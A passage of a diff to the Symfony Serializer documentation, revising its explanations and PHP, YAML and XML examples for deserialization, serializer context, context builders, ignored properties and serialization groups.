+PHP object. This process is called *deserialization* (also known as "hydration"):
 
 .. configuration-block::
 
-    .. code-block:: php-attributes
+    .. code-block:: php-symfony
 
-        namespace App\Model;
+        // src/Controller/PersonController.php
+        namespace App\Controller;
 
-        use Symfony\Component\Serializer\Annotation\Context;
-        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+        // ...
+        use Symfony\Component\HttpFoundation\Exception\BadRequestException;
+        use Symfony\Component\HttpFoundation\Request;
 
-        class Person
+        class PersonController extends AbstractController
         {
-            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
-            public \DateTimeInterface $createdAt;
-
             // ...
+
+            public function create(Request $request, SerializerInterface $serializer): Response
+            {
+                if ('json' !== $request->getContentTypeFormat()) {
+                    throw new BadRequestException('Unsupported content format');
+                }
+
+                $jsonData = $request->getContent();
+                $person = $serializer->deserialize($jsonData, Person::class, 'json');
+
+                // ... do something with $person and return a response
+            }
         }
 
-    .. code-block:: yaml
+    .. code-block:: php-standalone
 
-        # config/serializer/custom_config.yaml
-        App\Model\Person:
-            attributes:
-                createdAt:
-                    contexts:
-                        - { context: { datetime_format: 'Y-m-d' } }
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
 
-    .. code-block:: xml
+        // ...
+        $jsonData = ...; // fetch JSON from the request
+        $person = $serializer->deserialize($jsonData, Person::class, 'json');
 
-        <!-- config/serializer/custom_config.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Model\Person">
-                <attribute name="createdAt">
-                    <context>
-                        <entry name="datetime_format">Y-m-d</entry>
-                    </context>
-                </attribute>
-            </class>
-        </serializer>
+In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize`
+needs three parameters:
 
-Use the options to specify context specific to normalization or denormalization::
+#. The data to be decoded
+#. The name of the class this information will be decoded to
+#. The name of the encoder used to convert the data to an array (i.e. the
+   input format)
 
-    namespace App\Model;
+When sending a request to this controller (e.g.
+``{"first_name":"John Doe","age":54,"sportsperson":true}``), the serializer
+will create a new instance of ``Person`` and sets the properties to the
+values from the given JSON.
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+.. note::
 
-    class Person
-    {
-        #[Context(
-            normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
-            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => '!Y-m-d'], // To prevent to have the time from the moment of denormalization
-        )]
-        public \DateTimeInterface $createdAt;
+    By default, additional attributes that are not mapped to the
+    denormalized object will be ignored by the Serializer component. For
+    instance, if a request to the above controller contains ``{..., "city": "Paris"}``,
+    the ``city`` field will be ignored. You can also throw an exception in
+    these cases using the :ref:`serializer context <serializer-context>`
+    you'll learn about later.
 
-        // ...
-    }
+.. seealso::
 
-You can also restrict the usage of a context to some groups::
+    You can also deserialize data into an existing object instance (e.g.
+    when updating data). See :ref:`Deserializing in an Existing Object <serializer-populate-existing-object>`.
 
-    namespace App\Model;
+.. _serializer-process:
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Annotation\Groups;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+The Serialization Process: Normalizers and Encoders
+---------------------------------------------------
 
-    class Person
-    {
-        #[Groups(['extended'])]
-        #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-        #[Context(
-            context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
-            groups: ['extended'],
-        )]
-        public \DateTimeInterface $createdAt;
+The serializer uses a two-step process when (de)serializing objects:
 
-        // ...
-    }
+.. raw:: html
 
-The attribute can be repeated as much as needed on a single property.
-Context without group is always applied first. Then context for the matching
-groups are merged in the provided order.
+    <object data="_images/serializer/serializer_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
+    ></object>
 
-If you repeat the same context in multiple properties, consider using the
-``#[Context]`` attribute on your class to apply that context configuration to
-all the properties of the class::
+In both directions, data is always first converted to an array. This splits
+the process in two separate responsibilities:
 
-    namespace App\Model;
+Normalizers
+    These classes convert **objects** into **arrays** and vice versa. They
+    do the heavy lifting of finding out which class properties to
+    serialize, what value they hold and what name they should have.
+Encoders
+    Encoders convert **arrays** into a specific **format** and the other
+    way around. Each encoder knows exactly how to parse and generate a
+    specific format, for instance JSON or XML.
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+Internally, the ``Serializer`` class uses a sorted list of normalizers and
+one encoder for the specific format when (de)serializing an object.
 
-    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-    #[Context(
-        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
-        groups: ['extended'],
-    )]
-    class Person
-    {
-        // ...
-    }
+There are several normalizers configured in the default ``serializer``
+service. The most important normalizer is the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`. This
+normalizer uses reflection and the :doc:`PropertyAccess component </components/property_access>`
+to transform between any object and an array. You'll learn more about
+:ref:`this and other normalizers <serializer-normalizers>` later.
 
-.. _serializer-using-context-builders:
+The default serializer is also configured with some encoders, covering the
+common formats used by HTTP applications:
 
-Using Context Builders
-----------------------
+* :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
 
-To define the (de)serialization context, you can use "context builders", which
-are objects that help you to create that context by providing autocompletion,
-validation, and documentation::
+Read more about these encoders and their configuration in
+:doc:`/serializer/encoders`.
 
-    use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
+.. tip::
 
-    $contextBuilder = (new DateTimeNormalizerContextBuilder())->withFormat('Y-m-d H:i:s');
-    $serializer->serialize($something, 'json', $contextBuilder->toArray());
+    The `API Platform`_ project provides encoders for more advanced
+    formats:
 
-Each normalizer/encoder has its related :ref:`context builder <component-serializer-context-builders>`.
-To create a more complex (de)serialization context, you can chain them using the
-``withContext()`` method::
+    * `JSON-LD`_ along with the `Hydra Core Vocabulary`_
+    * `OpenAPI`_ v2 (formerly Swagger) and v3
+    * `GraphQL`_
+    * `JSON:API`_
+    * `HAL`_
 
-    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+.. _serializer-context:
 
-    $initialContext = [
-        'custom_key' => 'custom_value',
-    ];
+Serializer Context
+~~~~~~~~~~~~~~~~~~
 
-    $contextBuilder = (new ObjectNormalizerContextBuilder())
-        ->withContext($initialContext)
-        ->withGroups(['group1', 'group2']);
+The serializer, and its normalizers and encoders, are configured through
+the *serializer context*. This context can be configured in multiple
+places:
 
-    $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder)
-        ->withDelimiter(';');
+* :ref:`Globally through the framework configuration <serializer-default-context>`
+* :ref:`While serializing/deserializing <serializer-context-while-serializing-deserializing>`
+* :ref:`For a specific property <serializer-using-context-builders>`
 
-    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
+You can use all three options at the same time. When the same setting is
+configured in multiple places, the latter in the list above will override
+the previous one (e.g. the setting on a specific property overrides the one
+configured globally).
+
+.. _serializer-default-context:
+
+Configure a Default Context
+...........................
+
+You can configure a default context in the framework configuration, for
+instance to disallow extra fields while deserializing:
 
-You can also :doc:`create your context builders </serializer/custom_context_builders>`
-to have autocompletion, validation, and documentation for your custom context values.
+.. configuration-block::
+
+    .. code-block:: yaml
 
-.. _serializer-using-serialization-groups-attributes:
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                default_context:
+                    allow_extra_attributes: false
 
-Using Serialization Groups Attributes
--------------------------------------
+    .. code-block:: xml
 
-You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-attributes>`
-to your class properties::
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer>
+                    <framework:default-context>
+                        <framework:allow-extra-attributes>false</framework:allow-extra-attributes>
+                    </framework:default-context>
+                </framework:serializer>
+            </framework:config>
+        </container>
 
-    // src/Entity/Product.php
-    namespace App\Entity;
+    .. code-block:: php
 
-    use Doctrine\ORM\Mapping as ORM;
-    use Symfony\Component\Serializer\Annotation\Groups;
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
 
-    #[ORM\Entity]
-    class Product
-    {
-        #[ORM\Id]
-        #[ORM\GeneratedValue]
-        #[ORM\Column(type: 'integer')]
-        #[Groups(['show_product', 'list_product'])]
-        private int $id;
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->defaultContext('', [
+                    'allow_extra_attributes' => false,
+                ])
+            ;
+        };
 
-        #[ORM\Column(type: 'string', length: 255)]
-        #[Groups(['show_product', 'list_product'])]
-        private string $name;
+    .. code-block:: php-standalone
 
-        #[ORM\Column(type: 'text')]
-        #[Groups(['show_product'])]
-        private string $description;
-    }
+        use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 
-You can also use the ``#[Groups]`` attribute on class level::
+        // ...
+        $normalizers = [
+            new ObjectNormalizer(null, null, null, null, null, null, [
+                'allow_extra_attributes' => false,
+            ]),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
 
-    #[ORM\Entity]
-    #[Groups(['show_product'])]
-    class Product
-    {
-        #[ORM\Id]
-        #[ORM\GeneratedValue]
-        #[ORM\Column(type: 'integer')]
-        #[Groups(['list_product'])]
-        private int $id;
+.. _serializer-context-while-serializing-deserializing:
 
-        #[ORM\Column(type: 'string', length: 255)]
-        #[Groups(['list_product'])]
-        private string $name;
+Pass Context while Serializing/Deserializing
+............................................
 
-        #[ORM\Column(type: 'text')]
-        private string $description;
-    }
+You can also configure the context for a single call to
+``serialize()``/``deserialize()``. For instance, you can skip
+properties with a ``null`` value only for one serialize call::
 
-In this example, the ``id`` and the ``name`` properties belong to the
-``show_product`` and ``list_product`` groups. The ``description`` property
-only belongs to the ``show_product`` group.
+    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
 
-Now that your groups are defined, you can choose which groups to use when
-serializing::
+    // ...
+    $serializer->serialize($person, 'json', [
+        AbstractObjectNormalizer::SKIP_NULL_VALUES => true
+    ]);
 
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+    // next calls to serialize() will NOT skip null values
 
-    $context = (new ObjectNormalizerContextBuilder())
-        ->withGroups('show_product')
-        ->toArray();
+.. _serializer-using-context-builders:
 
-    $json = $serializer->serialize($product, 'json', $context);
+Using Context Builders
+""""""""""""""""""""""
 
-.. tip::
+You can use "context builders" to help define the (de)serialization
+context. Context builders are PHP objects that provide autocompletion,
+validation, and documentation of context options::
 
-    The value of the ``groups`` key can be a single string, or an array of strings.
+    use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
 
-In addition to the ``#[Groups]`` attribute, the Serializer component also
-supports YAML or XML files. These files are automatically loaded when being
-stored in one of the following locations:
+    $contextBuilder = (new DateTimeNormalizerContextBuilder())
+        ->withFormat('Y-m-d H:i:s');
+    $serializer->serialize($something, 'json', $contextBuilder->toArray());
 
-* All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/``
-  directory.
-* The ``serialization.yaml`` or ``serialization.xml`` file in
-  the ``Resources/config/`` directory of a bundle;
-* All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
-  directory of a bundle.
+Each normalizer/encoder has its related context builder. To create a more
+complex (de)serialization context, you can chain them using the
+``withContext()`` method::
 
-.. note::
+    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
+    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
 
-    The groups used by default when normalizing and denormalizing objects are
-    ``Default`` and the group that matches the class name. For example, if you
-    are normalizing a ``App\Entity\Product`` object, the groups used are
-    ``Default`` and ``Product``.
+    $initialContext = [
+        'custom_key' => 'custom_value',
+    ];
 
-    .. versionadded:: 7.1
+    $contextBuilder = (new ObjectNormalizerContextBuilder())
+        ->withContext($initialContext)
+        ->withGroups(['group1', 'group2']);
+
+    $contextBuilder = (new CsvEncoderContextBuilder())
+        ->withContext($contextBuilder)
+        ->withDelimiter(';');
 
-        The default use of the class name and ``Default`` groups when normalizing
-        and denormalizing objects was introduced in Symfony 7.1.
+    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
-.. _serializer-enabling-metadata-cache:
+.. seealso::
 
-Using Nested Attributes
------------------------
+    You can also :doc:`create your context builders </serializer/custom_context_builders>`
+    to have autocompletion, validation, and documentation for your custom
+    context values.
 
-To map nested properties, use the ``SerializedPath`` configuration to define
-their paths using a :doc:`valid PropertyAccess syntax </components/property_access>`:
+Configure Context on a Specific Property
+........................................
+
+At last, you can also configure context values on a specific object
+property. For instance, to configure the datetime format:
 
 .. configuration-block::
 
     .. code-block:: php-attributes
 
-        namespace App\Model;
+        // src/Model/Person.php
 
-        use Symfony\Component\Serializer\Attribute\SerializedPath;
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
         class Person
         {
-            #[SerializedPath('[profile][information][birthday]')]
-            private string $birthday;
+            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
+            public \DateTimeImmutable $createdAt;
 
             // ...
         }
 
     .. code-block:: yaml
 
+        # config/serializer/person.yaml
         App\Model\Person:
             attributes:
-                dob:
-                    serialized_path: '[profile][information][birthday]'
+                createdAt:
+                    contexts:
+                        - context: { datetime_format: 'Y-m-d' }
 
     .. code-block:: xml
 
+        <!-- config/serializer/person.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -437,96 +466,1034 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
                 https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
         >
             <class name="App\Model\Person">
-                <attribute name="dob" serialized-path="[profile][information][birthday]"/>
+                <attribute name="createdAt">
+                    <context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </context>
+                </attribute>
             </class>
         </serializer>
 
-Using the configuration from above, denormalizing with a metadata-aware
-normalizer will write the ``birthday`` field from ``$data`` onto the ``Person``
-object::
+.. note::
 
-    $data = [
-        'profile' => [
-            'information' => [
-                'birthday' => '01-01-1970',
-            ],
-        ],
-    ];
-    $person = $normalizer->denormalize($data, Person::class, 'any');
-    $person->getBirthday(); // 01-01-1970
+    When using YAML or XML, the mapping files must be placed in one of
+    these locations:
 
-When using attributes, the ``SerializedPath`` can either
-be set on the property or the associated _getter_ method. The ``SerializedPath``
-cannot be used in combination with a ``SerializedName`` for the same property.
+    * All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/``
+      directory.
+    * The ``serialization.yaml`` or ``serialization.xml`` file in the
+      ``Resources/config/`` directory of a bundle;
+    * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
+      directory of a bundle.
 
-Configuring the Metadata Cache
-------------------------------
+You can also specify a context specific to normalization or denormalization:
 
-The metadata for the serializer is automatically cached to enhance application
-performance. By default, the serializer uses the ``cache.system`` cache pool
-which is configured using the :ref:`cache.system <reference-cache-system>`
-option.
+.. configuration-block::
+
+    .. code-block:: php-attributes
 
-Enabling a Name Converter
--------------------------
+        // src/Model/Person.php
 
-The use of a :ref:`name converter <component-serializer-converting-property-names-when-serializing-and-deserializing>`
-service can be defined in the configuration using the :ref:`name_converter <reference-serializer-name_converter>`
-option.
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
-The built-in :ref:`CamelCase to snake_case name converter <using-camelized-method-names-for-underscored-attributes>`
-can be enabled by using the ``serializer.name_converter.camel_case_to_snake_case``
-value:
+        class Person
+        {
+            #[Context(
+                normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
+                denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
+            )]
+            public \DateTimeImmutable $createdAt;
 
-.. configuration-block::
+            // ...
+        }
 
     .. code-block:: yaml
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            serializer:
-                name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    contexts:
+                        - normalizationContext: { datetime_format: 'Y-m-d' }
+                          denormalizationContext: { datetime_format: !php/const \DateTime::RFC3339 }
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:serializer name-converter="serializer.name_converter.camel_case_to_snake_case"/>
-        </framework:config>
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <normalization-context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </normalization-context>
 
-    .. code-block:: php
+                    <denormalization-context>
+                        <entry name="datetime_format">Y-m-d\TH:i:sP</entry>
+                    </denormalization-context>
+                </attribute>
+            </class>
+        </serializer>
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+.. _serializer-context-group:
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
-        };
+You can also restrict the usage of a context to some
+:ref:`groups <serializer-groups-attribute>`:
 
-Debugging the Serializer
-------------------------
+.. configuration-block::
 
-Use the ``debug:serializer`` command to dump the serializer metadata of a
-given class:
+    .. code-block:: php-attributes
 
-.. code-block:: terminal
+        // src/Model/Person.php
 
-    $ php bin/console debug:serializer 'App\Entity\Book'
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Attribute\Groups;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
-        App\Entity\Book
-        ---------------
+        class Person
+        {
+            #[Groups(['extended'])]
+            #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+            #[Context(
+                context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+                groups: ['extended'],
+            )]
+            public \DateTimeImmutable $createdAt;
 
-        +----------+------------------------------------------------------------+
-        | Property | Options                                                    |
-        +----------+------------------------------------------------------------+
-        | name     | [                                                          |
-        |          |   "groups" => [                                            |
-        |          |       "book:read",                                         |
-        |          |       "book:write",                                        |
-        |          |   ],                                                       |
-        |          |   "maxDepth" => 1,                                         |
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    groups: [extended]
+                    contexts:
+                        - context: { datetime_format: !php/const \DateTime::RFC3339 }
+                        - context: { datetime_format: !php/const \DateTime::RFC3339_EXTENDED }
+                          groups: [extended]
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <group>extended</group>
+
+                    <context>
+                        <entry name="datetime_format">Y-m-d\TH:i:sP</entry>
+                    </context>
+                    <context>
+                        <entry name="datetime_format">Y-m-d\TH:i:s.vP</entry>
+                        <group>extended</group>
+                    </context>
+                </attribute>
+            </class>
+        </serializer>
+
+The attribute can be repeated as much as needed on a single property.
+Context without group is always applied first. Then context for the
+matching groups are merged in the provided order.
+
+If you repeat the same context in multiple properties, consider using the
+``#[Context]`` attribute on your class to apply that context configuration to
+all the properties of the class::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Attribute\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+    #[Context(
+        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+        groups: ['extended'],
+    )]
+    class Person
+    {
+        // ...
+    }
+
+Serializing to or from PHP Arrays
+---------------------------------
+
+The default :class:`Symfony\\Component\\Serializer\\Serializer` can also be
+used to only perform one step of the :ref:`two step serialization process <serializer-process>`
+by using the respective interface:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use Symfony\Component\Serializer\Encoder\DecoderInterface;
+        use Symfony\Component\Serializer\Encoder\EncoderInterface;
+        use Symfony\Component\Serializer\Normalizer\DenormalizerInterface;
+        use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+        // ...
+
+        class PersonController extends AbstractController
+        {
+            public function index(DenormalizerInterface&NormalizerInterface $serializer): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
+
+                // use normalize() to convert a PHP object to an array
+                $personArray = $serializer->normalize($person, 'json');
+
+                // ...and denormalize() to convert an array back to a PHP object
+                $personCopy = $serializer->denormalize($personArray, Person::class);
+
+                // ...
+            }
+
+            public function json(DecoderInterface&EncoderInterface $serializer): Response
+            {
+                $data = ['name' => 'Jane Doe'];
+
+                // use encode() to transform PHP arrays into another format
+                $json = $serializer->encode($data, 'json');
+
+                // ...and decode() to transform any format to just PHP arrays (instead of objects)
+                $data = $serializer->decode('{"name":"Charlie Doe"}', 'json');
+                // $data contains ['name' => 'Charlie Doe']
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        $encoders = [new JsonEncoder()];
+        $normalizers = [new ObjectNormalizer()];
+        $serializer = new Serializer($normalizers, $encoders);
+
+        // use normalize() to convert a PHP object to an array
+        $personArray = $serializer->normalize($person, 'json');
+
+        // ...and denormalize() to convert an array back to a PHP object
+        $personCopy = $serializer->denormalize($personArray, Person::class);
+
+        $data = ['name' => 'Jane Doe'];
+
+        // use encode() to transform PHP arrays into another format
+        $json = $serializer->encode($data, 'json');
+
+        // ...and decode() to transform any format to just PHP arrays (instead of objects)
+        $data = $serializer->decode('{"name":"Charlie Doe"}', 'json');
+        // $data contains ['name' => 'Charlie Doe']
+
+.. _serializer_ignoring-attributes:
+
+Ignoring Properties
+-------------------
+
+The ``ObjectNormalizer`` normalizes *all* properties of an object and all
+methods starting with ``get*()``, ``has*()``, ``is*()`` and ``can*()``.
+Some properties or methods should never be serialized. You can exclude
+them using the ``#[Ignore]`` attribute:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\Ignore;
+
+        class Person
+        {
+            // ...
+
+            #[Ignore]
+            public function isPotentiallySpamUser(): bool
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                potentiallySpamUser:
+                    ignore: true
+
+    .. code-block:: xml
+
+        <?xml version="1.0" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="potentiallySpamUser" ignore="true"/>
+            </class>
+        </serializer>
+
+The ``potentiallySpamUser`` property will now never be serialized:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use App\Model\Person;
+
+        // ...
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+        $person1 = $serializer->deserialize(
+            '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}',
+            Person::class,
+            'json'
+        );
+        // the "potentiallySpamUser" value is ignored
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        // ...
+
+        // you need to pass a class metadata factory with a loader to the
+        // ObjectNormalizer when reading mapping information like Ignore or Groups.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $normalizers = [new ObjectNormalizer($classMetadataFactory)];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+        $person1 = $serializer->deserialize(
+            '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}',
+            Person::class,
+            'json'
+        );
+        // the "potentiallySpamUser" value is ignored
+
+Ignoring Attributes Using the Context
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can also pass an array of attribute names to ignore at runtime using
+the ``ignored_attributes`` context options::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+
+    // ...
+    $person = new Person('Jane Doe', 32, false);
+    $json = $serializer->serialize($person, 'json',
+    [
+        AbstractNormalizer::IGNORED_ATTRIBUTES => ['age'],
+    ]);
+    // $json contains {"name":"Jane Doe","sportsperson":false}
+
+However, this can quickly become unmaintainable if used excessively. See
+the next section about *serialization groups* for a better solution.
+
+.. _serializer-groups-attribute:
+
+Selecting Specific Properties
+-----------------------------
+
+Instead of excluding a property or method in all situations, you might need
+to exclude some properties in one place, but serialize them in another.
+Groups are a handy way to achieve this.
+
+You can add the ``#[Groups]`` attribute to your class:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\Groups;
+
+        class Person
+        {
+            #[Groups(["admin-view"])]
+            private int $age;
+
+            #[Groups(["public-view"])]
+            private string $name;
+
+            #[Groups(["public-view"])]
+            private bool $sportsperson;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                age:
+                    groups: ['admin-view']
+                name:
+                    groups: ['public-view']
+                sportsperson:
+                    groups: ['public-view']
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="age">
+                    <group>admin-view</group>
+                </attribute>
+                <attribute name="name">
+                    <group>public-view</group>
+                </attribute>
+                <attribute name="sportsperson">
+                    <group>public-view</group>
+                </attribute>
+            </class>
+        </serializer>
+
+You can now choose which groups to use when serializing::
+
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => 'public-view']
+    );
+    // $json contains {"name":"Jane Doe","sportsperson":false}
+
+    // you can also pass an array of groups
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => ['public-view', 'admin-view']]
+    );
+    // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+    // or use the special "*" value to select all groups
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => '*']
+    );
+    // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+Using the Serialization Context
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+At last, you can also use the ``attributes`` context option to select
+properties at runtime::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $json = $serializer->serialize($person, 'json', [
